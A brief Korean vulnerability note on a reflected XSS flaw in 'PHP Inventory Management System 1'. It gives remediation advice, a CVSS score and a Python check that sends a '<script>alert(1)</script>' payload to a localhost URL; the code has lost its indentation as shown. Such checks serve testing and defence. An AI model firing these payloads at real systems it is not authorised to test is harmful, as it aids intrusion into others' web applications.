PHP Inventory Management System 1
공격자는 잘못된 페이로드를 생성하여 XSS 취약점을 악용할 수 있습니다.
최신 보안 패치를 적용하여 취약점을 수정하세요. 또한 입력 데이터의 유효성을 확인하고 출력 데이터를 적절히 이스케이프 처리하여 XSS 공격을 방지하세요.
로컬에서 실행 가능한 Python 코드입니다. 이 코드는 로컬의 PHP Inventory Management System 1에 XSS 취약점이 있는지 확인합니다. 코드를 실행하기 전에 Python과 requests 라이브러리가 설치되어 있어야 합니다. 또한, 테스트를 수행하는 시스템에서 PHP Inventory Management System 1이 설치되어 있어야 합니다.
import requests
response = requests.get('http://localhost/index.php/cuzh4', params={'test': '<script>alert(1)</script>'})
if '<script>alert(1)</script>' in response.text:
print({"result": "취약", "reason": "XSS 취약점이 발견되었습니다."})
else:
print({"result": "양호", "reason": "XSS 취약점이 발견되지 않았습니다."})
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N